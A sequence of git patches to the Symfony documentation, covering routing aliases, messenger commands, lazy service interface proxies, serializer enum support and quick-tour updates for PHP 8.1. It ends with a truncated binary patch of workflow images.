diff --git a/mailer.rst b/mailer.rst
index e83c60e20c0..d1d9ad3ced3 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1250,7 +1250,7 @@ disable asynchronous delivery.
 
 .. versionadded:: 6.1
 
-    The :method:`Symfony\\Component\\Mailer\\Transport\\Smtp\\SmtpTransport::stop()`
+    The :method:`Symfony\\Component\\Mailer\\Transport\\Smtp\\SmtpTransport::stop`
     method was made public in Symfony 6.1.
 
 Adding Tags and Metadata to Emails

From f9ddbded385c36471024f375f56298a1d50926c8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 3 Aug 2022 16:19:38 +0200
Subject: [PATCH 2137/5766] Minor tweak

---
 components/lock.rst | 13 +++++--------
 1 file changed, 5 insertions(+), 8 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 1c141e16e73..d7bdaad7ddf 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -365,6 +365,11 @@ Store                                                       Scope   Blocking  Ex
 :ref:`ZookeeperStore <lock-store-zookeeper>`                remote  no        no       no
 ==========================================================  ======  ========  ======== =======
 
+.. tip::
+
+    A special ``InMemoryStore`` is available for saving locks in memory during
+    a process, and can be useful for testing.
+
 .. _lock-store-flock:
 
 FlockStore
@@ -667,14 +672,6 @@ PHP process is terminated::
     Zookeeper does not require a TTL as the nodes used for locking are ephemeral
     and die when the PHP process is terminated.
 
-InMemoryStore
-~~~~~~~~~~~~~
-
-.. tip::
-
-    An ``InMemoryStore`` is available for saving lock in memory during a process,
-    and can be useful for testing.
-
 Reliability
 -----------
 

From 90edeb3732002aa9a13582c01b9cb92aa85eebbf Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 3 Aug 2022 17:13:44 +0200
Subject: [PATCH 2138/5766] Minor tweak

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index f202d32f1b5..91dabffec75 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1366,7 +1366,7 @@ Use the ``RedirectController`` to redirect to other routes and URLs:
                 # * for temporary redirects, it uses the 307 status code instead of 302
                 # * for permanent redirects, it uses the 308 status code instead of 301
                 keepRequestMethod: true
-                # add this to remove the parameters when redirecting
+                # add this to remove the original route attributes when redirecting
                 ignoreAttributes: true
 
         legacy_doc:

From cfd203dc9dd9831596493c0648ab228e4d769d48 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 3 Aug 2022 17:27:54 +0200
Subject: [PATCH 2139/5766] Tweaks

---
 routing.rst | 129 ++++++++++++++++++++++++++--------------------------
 1 file changed, 65 insertions(+), 64 deletions(-)

diff --git a/routing.rst b/routing.rst
index d888015b965..afe5a5d790d 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1470,110 +1470,111 @@ A possible solution is to change the parameter requirements to be more permissiv
 
 .. _routing-alias:
 
-Aliasing
---------
+Route Aliasing
+--------------
 
 .. versionadded:: 5.4
 
     Support for route aliases was introduced in Symfony 5.4.
 
-You may sometimes want to have multiple names for the same route. You can do so by
-aliasing them.
+Route alias allow you to have multiple name for the same route:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
-      # config/routes.yaml
-      alias_name:
-          alias: target_route_name
+        # config/routes.yaml
+        new_route_name:
+            alias: original_route_name
 
     .. code-block:: xml
 
-      <!-- config/routes.xml -->
-      <?xml version="1.0" encoding="UTF-8" ?>
-      <routes xmlns="http://symfony.com/schema/routing"
-          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-          xsi:schemaLocation="http://symfony.com/schema/routing
-              https://symfony.com/schema/routing/routing-1.0.xsd">
+        <!-- config/routes.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <routes xmlns="http://symfony.com/schema/routing"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/routing
+                https://symfony.com/schema/routing/routing-1.0.xsd">
 
-          <route id="alias_name" alias="target_route_name"/>
-      </routes>
+            <route id="new_route_name" alias="original_route_name"/>
+        </routes>
 
     .. code-block:: php
 
-      // config/routes.php
-      use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+        // config/routes.php
+        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+
+        return function (RoutingConfigurator $routes) {
+            $routes->alias('new_route_name', 'original_route_name');
+        };
 
-      return function (RoutingConfigurator $routes) {
-          $routes->alias('alias_name', 'target_route_name');
-      };
+In this example, both ``original_route_name`` and ``new_route_name`` routes can
+be used in the application and will produce the same result.
 
 .. _routing-alias-deprecation:
 
 Deprecating Route Aliases
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If you decide to deprecate the use of a route alias (because it is outdated or
+If some route alias should no longer be used (because it is outdated or
 you decided not to maintain it anymore), you can deprecate its definition:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
-      alias_name:
-          alias: target_route_name
+        new_route_name:
+            alias: original_route_name
 
-          # this outputs the following generic deprecation message:
-          # Since acme/package 1.2: The "alias_name" route alias is deprecated. You should stop using it, as it will be removed in the future.
-          deprecated:
-              package: 'acme/package'
-              version: '1.2'
+            # this outputs the following generic deprecation message:
+            # Since acme/package 1.2: The "new_route_name" route alias is deprecated. You should stop using it, as it will be removed in the future.
+            deprecated:
+                package: 'acme/package'
+                version: '1.2'
 
-          # you can also define a custom deprecation message (%alias_id% placeholder is available)
-          deprecated:
-              package: 'acme/package'
-              version: '1.2'
-              message: 'The "%alias_id%" route alias is deprecated. Do not use it anymore.'
+            # you can also define a custom deprecation message (%alias_id% placeholder is available)
+            deprecated:
+                package: 'acme/package'
+                version: '1.2'
+                message: 'The "%alias_id%" route alias is deprecated. Do not use it anymore.'
 
     .. code-block:: xml
 
-      <?xml version="1.0" encoding="UTF-8" ?>
-      <routes xmlns="http://symfony.com/schema/routing"
-          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-          xsi:schemaLocation="http://symfony.com/schema/routing
-              https://symfony.com/schema/routing/routing-1.0.xsd">
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <routes xmlns="http://symfony.com/schema/routing"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/routing
+                https://symfony.com/schema/routing/routing-1.0.xsd">
 
-          <route id="alias_name" alias="target_route_name">
-              <!-- this outputs the following generic deprecation message:
-                   Since acme/package 1.2: The "alias_name" route alias is deprecated. You should stop using it, as it will be removed in the future. -->
-              <deprecated package="acme/package" version="1.2"/>
+            <route id="new_route_name" alias="original_route_name">
+                <!-- this outputs the following generic deprecation message:
+                     Since acme/package 1.2: The "new_route_name" route alias is deprecated. You should stop using it, as it will be removed in the future. -->
+                <deprecated package="acme/package" version="1.2"/>
 
-              <!-- you can also define a custom deprecation message (%alias_id% placeholder is available) -->
-              <deprecated package="acme/package" version="1.2">
-                  The "%alias_id%" route alias is deprecated. Do not use it anymore.
-              </deprecated>
-          </route>
-      </routes>
+                <!-- you can also define a custom deprecation message (%alias_id% placeholder is available) -->
+                <deprecated package="acme/package" version="1.2">
+                    The "%alias_id%" route alias is deprecated. Do not use it anymore.
+                </deprecated>
+            </route>
+        </routes>
 
     .. code-block:: php
 
-      $routes->alias('alias_name', 'target_route_name')
-
-          // this outputs the following generic deprecation message:
-          // Since acme/package 1.2: The "alias_name" route alias is deprecated. You should stop using it, as it will be removed in the future.
-          ->deprecate('acme/package', '1.2', '')
-
-          // you can also define a custom deprecation message (%alias_id% placeholder is available)
-          ->deprecate(
-              'acme/package',
-              '1.2',
-              'The "%alias_id%" route alias is deprecated. Do not use it anymore.'
-          )
-      ;
-
-Now, every time this route alias is used, a deprecation warning is triggered,
-advising you to stop or to change your uses of that alias.
+        $routes->alias('new_route_name', 'original_route_name')
+            // this outputs the following generic deprecation message:
+            // Since acme/package 1.2: The "new_route_name" route alias is deprecated. You should stop using it, as it will be removed in the future.
+            ->deprecate('acme/package', '1.2', '')
+
+            // you can also define a custom deprecation message (%alias_id% placeholder is available)
+            ->deprecate(
+                'acme/package',
+                '1.2',
+                'The "%alias_id%" route alias is deprecated. Do not use it anymore.'
+            )
+        ;
+
+In this example, every time the ``new_route_name`` alias is used, a deprecation
+warning is triggered, advising you to stop using that alias.
 
 The message is actually a message template, which replaces occurrences of the
 ``%alias_id%`` placeholder by the route alias name. You **must** have

From d8d38286e24f5325333b340272f22e20ce58505e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 3 Aug 2022 17:28:46 +0200
Subject: [PATCH 2140/5766] Remove a versionadded directive

---
 routing.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/routing.rst b/routing.rst
index edf54de0e94..333c75736c0 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1463,10 +1463,6 @@ A possible solution is to change the parameter requirements to be more permissiv
 Route Aliasing
 --------------
 
-.. versionadded:: 5.4
-
-    Support for route aliases was introduced in Symfony 5.4.
-
 Route alias allow you to have multiple name for the same route:
 
 .. configuration-block::

From 9d5ac10a2ef08c0e7af3c52e699beabe19a1352a Mon Sep 17 00:00:00 2001
From: fguimier <florian.guimier@gmail.com>
Date: Thu, 10 Dec 2020 11:55:37 +0100
Subject: [PATCH 2141/5766] Update messenger.rst

Update exemples for the messenger:failed:show command

Add documentation regarding this PR https://github.com/symfony/symfony/pull/39330
---
 messenger.rst | 11 ++++++++++-
 1 file changed, 10 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 0f85773905d..b7fcf40f93e 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -924,8 +924,17 @@ to retry them:
 
 .. code-block:: terminal
 
-    # see all messages in the failure transport
+    # see all messages in the failure transport with a default limit of 50
     $ php bin/console messenger:failed:show
+    
+    # see the 10 first messages
+    $ php bin/console messenger:failed:show --max=10
+
+    # see only MyClass messages
+    $ php bin/console messenger:failed:show --class-filter='MyClass'
+
+    # see the number of messages by message class
+    $ php bin/console messenger:failed:show --stats
 
     # see details about a specific failure
     $ php bin/console messenger:failed:show 20 -vv

From 529e4201290e1d04258007086b936465d34a9e33 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 3 Aug 2022 17:50:27 +0200
Subject: [PATCH 2142/5766] Minor tweak

---
 messenger.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index b7fcf40f93e..c7799cf93c7 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -951,6 +951,10 @@ to retry them:
     # remove messages without retrying them and show each message before removing it
     $ php bin/console messenger:failed:remove 20 30 --show-messages
 
+.. versionadded:: 6.2
+
+    The ``--class-filter`` and ``--stats`` options were introduced in Symfony 6.2.
+
 If the message fails again, it will be re-sent back to the failure transport
 due to the normal :ref:`retry rules <messenger-retries-failures>`. Once the max
 retry has been hit, the message will be discarded permanently.

From f86b97693b3afbb3f0d023fc10b253aae8c1a942 Mon Sep 17 00:00:00 2001
From: Tugdual Saunier <tugdual.saunier@gmail.com>
Date: Wed, 3 Aug 2022 12:39:37 -0400
Subject: [PATCH 2143/5766] [DI] Document proxifying interfaces for lazy
 services

Symfony 4.2 introduced the possibility to lazy load services using final classes by proxyfying specific interfaces, but this has not been documented yet.
---
 service_container/lazy_services.rst | 78 ++++++++++++++++++++++++++++-
 1 file changed, 77 insertions(+), 1 deletion(-)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 0370e52b0ff..ed83a302df3 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -25,7 +25,8 @@ until you interact with the proxy in some way.
 
 .. caution::
 
-    Lazy services do not support `final`_ classes.
+    Lazy services do not support `final`_ classes. You can use `Interface
+    Proxifying`_ to work around this limitation.
 
 Installation
 ------------
@@ -97,6 +98,81 @@ To check if your proxy works you can check the interface of the received object:
     `ocramius/proxy-manager`_, the container will skip over the ``lazy``
     flag and directly instantiate the service as it would normally do.
 
+Interface Proxifying
+--------------------
+
+Under the hood, proxies generated to lazily load services inherit from the class
+used by the service. But sometimes this is not possible at all (`final`_ classes
+can not be extended for example) or not convenient.
+
+To workaround this limitation, you can configure a proxy to only implements
+specific interfaces.
+
+.. versionadded:: 4.2
+
+    Proxyfying interfaces was introduced in Symfony 4.2.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            App\Twig\AppExtension:
+                lazy: 'Twig\Extension\ExtensionInterface'
+                # or a complete definition:
+                lazy: true
+                tags:
+                    - { name: 'proxy', interface: 'Twig\Extension\ExtensionInterface' }
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\Twig\AppExtension" lazy="Twig\Extension\ExtensionInterface"/>
+                <!-- or a complete definition: -->
+                <service id="App\Twig\AppExtension" lazy="true">
+                    <tag name="proxy" interface="Twig\Extension\ExtensionInterface"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Twig\AppExtension;
+        use Twig\Extension\ExtensionInterface;
+
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            $services->set(AppExtension::class)
+                ->lazy()
+                ->tag('proxy', ['interface' => ExtensionInterface::class])
+            ;
+        };
+
+The virtual `proxy`_ injected into other services will only implement the
+specified interfaces and will not extend the original service class allowing to
+lazy load service using `final`_ classes. You can configure the proxy to
+implement multiple interfaces by repeating the "proxy" tag.
+
+.. tip::
+
+    This features can also act as a "safe guard". Because the proxy does not
+    extends the original class, only the methods defined by the interfaces can
+    be called, preventing to call implementation specific one. It also prevents
+    injecting the dependency at all if you type hinted a concrete implementation
+    instead of the interface.
+
 Additional Resources
 --------------------
 

From ffc4856ccd6123af725999ae154d25546a98c4d4 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Tue, 2 Aug 2022 23:42:44 +0200
Subject: [PATCH 2144/5766] [Serializer] Document support of PHP backed
 enumerations

---
 components/serializer.rst | 8 ++++++++
 serializer.rst            | 6 ++++++
 2 files changed, 14 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index d20c98d39c7..5a04f2d3621 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -897,6 +897,14 @@ The Serializer component provides several built-in normalizers:
     This normalizer converts :phpclass:`DateInterval` objects into strings.
     By default, it uses the ``P%yY%mM%dDT%hH%iM%sS`` format.
 
+:class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
+    This normalizer converts a \BackedEnum objects into strings or integers.
+
+.. versionadded:: 5.4
+
+    The ``BackedEnumNormalizer`` was introduced in Symfony 
+    5.4. PHP BackedEnum require at least PHP 8.1.
+
 :class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer`
     This normalizer works with classes that implement
     :class:`Symfony\\Component\\Form\\FormInterface`.
diff --git a/serializer.rst b/serializer.rst
index 0b705aa5a41..cd00ebe1bad 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -80,6 +80,12 @@ As well as the following normalizers:
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ArrayDenormalizer`
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer`
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
+
+.. versionadded:: 5.4
+
+    :class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
+    was introduced in Symfony 5.4. PHP BackedEnum require at least PHP 8.1.
 
 Other :ref:`built-in normalizers <component-serializer-normalizers>` and
 custom normalizers and/or encoders can also be loaded by tagging them as

From 9754f2c1500be2fc3e246fb2ec779bc6c106d165 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Wed, 3 Aug 2022 20:57:39 +0200
Subject: [PATCH 2145/5766] [QuickTour] improve Symfony v6.1 requires PHP v8.1+

---
 quick_tour/flex_recipes.rst     | 21 +++++++++------------
 quick_tour/the_architecture.rst | 32 ++++++++++++--------------------
 quick_tour/the_big_picture.rst  | 19 ++++++++-----------
 3 files changed, 29 insertions(+), 43 deletions(-)

diff --git a/quick_tour/flex_recipes.rst b/quick_tour/flex_recipes.rst
index 7135c6b3ecd..b19dc5fc2da 100644
--- a/quick_tour/flex_recipes.rst
+++ b/quick_tour/flex_recipes.rst
@@ -23,10 +23,10 @@ are included in your ``composer.json`` file:
 
     "require": {
         "...",
-        "symfony/console": "^4.1",
-        "symfony/flex": "^1.0",
-        "symfony/framework-bundle": "^4.1",
-        "symfony/yaml": "^4.1"
+        "symfony/console": "^6.1",
+        "symfony/flex": "^2.0",
+        "symfony/framework-bundle": "^6.1",
+        "symfony/yaml": "^6.1"
     }
 
 This makes Symfony different from any other PHP framework! Instead of starting with
@@ -86,10 +86,8 @@ Thanks to Flex, after one command, you can start using Twig immediately:
     - class DefaultController
     + class DefaultController extends AbstractController
       {
-           /**
-            * @Route("/hello/{name}")
-            */
-           public function index($name)
+           #[Route('/hello/{name}', methods: ['GET'])]
+           public function index(string $name): Response
            {
     -        return new Response("Hello $name!");
     +        return $this->render('default/index.html.twig', [
@@ -159,16 +157,15 @@ Are you building an API? You can already return JSON from any controller::
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\JsonResponse;
     use Symfony\Component\Routing\Annotation\Route;
 
     class DefaultController extends AbstractController
     {
         // ...
 
-        /**
-         * @Route("/api/hello/{name}")
-         */
-        public function apiExample($name)
+        #[Route('/api/hello/{name}', methods: ['GET'])]
+        public function apiHello(string$name): JsonResponse
         {
             return $this->json([
                 'name' => $name,
diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index 5899a73bc66..9ba2ce9f305 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -27,14 +27,13 @@ use the logger in a controller, add a new argument type-hinted with ``LoggerInte
 
     use Psr\Log\LoggerInterface;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
 
     class DefaultController extends AbstractController
     {
-        /**
-         * @Route("/hello/{name}")
-         */
-        public function index($name, LoggerInterface $logger)
+        #[Route('/hello/{name}', methods: ['GET'])]
+        public function index(string $name, LoggerInterface $logger): Response
         {
             $logger->info("Saying hello to $name!");
 
@@ -93,7 +92,7 @@ this code directly in your controller, create a new class::
 
     class GreetingGenerator
     {
-        public function getRandomGreeting()
+        public function getRandomGreeting(): string
         {
             $greetings = ['Hey', 'Yo', 'Aloha'];
             $greeting = $greetings[array_rand($greetings)];
@@ -102,7 +101,7 @@ this code directly in your controller, create a new class::
         }
     }
 
-Great! You can use this immediately in your controller::
+Great! You can use it immediately in your controller::
 
     <?php
     // src/Controller/DefaultController.php
@@ -111,14 +110,13 @@ Great! You can use this immediately in your controller::
     use App\GreetingGenerator;
     use Psr\Log\LoggerInterface;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
 
     class DefaultController extends AbstractController
     {
-        /**
-         * @Route("/hello/{name}")
-         */
-        public function index($name, LoggerInterface $logger, GreetingGenerator $generator)
+        #[Route('/hello/{name}', methods: ['GET'])]
+        public function index(string $name, LoggerInterface $logger, GreetingGenerator $generator): Response
         {
             $greeting = $generator->getRandomGreeting();
 
@@ -141,14 +139,11 @@ difference is that it's done in the constructor:
 
       class GreetingGenerator
       {
-    +     private $logger;
-    +
-    +     public function __construct(LoggerInterface $logger)
+    +     public function __construct(private readonly LoggerInterface $logger)
     +     {
-    +         $this->logger = $logger;
     +     }
 
-          public function getRandomGreeting()
+          public function getRandomGreeting(): string
           {
               // ...
 
@@ -178,11 +173,8 @@ that extends ``AbstractExtension``::
 
     class GreetExtension extends AbstractExtension
     {
-        private $greetingGenerator;
-
-        public function __construct(GreetingGenerator $greetingGenerator)
+        public function __construct(private readonly GreetingGenerator $greetingGenerator)
         {
-            $this->greetingGenerator = $greetingGenerator;
         }
 
         public function getFilters()
@@ -192,7 +184,7 @@ that extends ``AbstractExtension``::
             ];
         }
 
-        public function greetUser($name)
+        public function greetUser(string $name): string
         {
             $greeting =  $this->greetingGenerator->getRandomGreeting();
 
diff --git a/quick_tour/the_big_picture.rst b/quick_tour/the_big_picture.rst
index 34ebc1e1b96..e56efdf99cc 100644
--- a/quick_tour/the_big_picture.rst
+++ b/quick_tour/the_big_picture.rst
@@ -14,7 +14,7 @@ safe & easy!) and offers long-term support.
 Downloading Symfony
 -------------------
 
-First, make sure you've installed `Composer`_ and have PHP 8.0.2 or higher.
+First, make sure you've installed `Composer`_ and have PHP 8.1 or higher.
 
 Ready? In a terminal, run:
 
@@ -88,7 +88,7 @@ method inside::
 
     class DefaultController
     {
-        public function index()
+        public function index(): Response
         {
             return new Response('Hello!');
         }
@@ -125,7 +125,7 @@ like a wildcard that matches anything. And it gets better! Update the controller
       class DefaultController
       {
     -     public function index()
-    +     public function index($name)
+    +     public function index(string $name): Response
           {
     -         return new Response('Hello!');
     +         return new Response("Hello $name!");
@@ -164,10 +164,9 @@ Instead, add the route *right above* the controller method:
 
       class DefaultController
       {
-    +    /**
-    +     * @Route("/hello/{name}")
-    +     */
-           public function index($name) {
+    +      #[Route('/hello/{name}', methods: ['GET'])]
+           public function index(string $name): Response
+           {
                // ...
            }
       }
@@ -187,10 +186,8 @@ in ``DefaultController``::
     {
         // ...
 
-        /**
-         * @Route("/simplicity")
-         */
-        public function simple()
+        #[Route('/simplicity', methods: ['GET'])]
+        public function simple(): Response
         {
             return new Response('Simple! Easy! Great!');
         }

From 3d3e393ea66773ef30f9f57dd90ad20b10d6a5ae Mon Sep 17 00:00:00 2001
From: Andrii Dembitskyi <andrew.dembitskiy@gmail.com>
Date: Thu, 4 Aug 2022 00:37:41 +0300
Subject: [PATCH 2146/5766] #16324 Sync workflow images with provided
 configuration on docs

---
 _images/components/workflow/blogpost.png      | Bin 26550 -> 20638 bytes
 .../components/workflow/blogpost_mermaid.png  | Bin 24123 -> 20521 bytes
 _images/components/workflow/blogpost_puml.png | Bin 15954 -> 13747 bytes
 3 files changed, 0 insertions(+), 0 deletions(-)

diff --git a/_images/components/workflow/blogpost.png b/_images/components/workflow/blogpost.png
index 38e29250eb1d92a08cabefd6cb899824e936cfe9..b7f51eabb435082ba98aafac7e36c8d44eee885a 100644
GIT binary patch
literal 20638
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
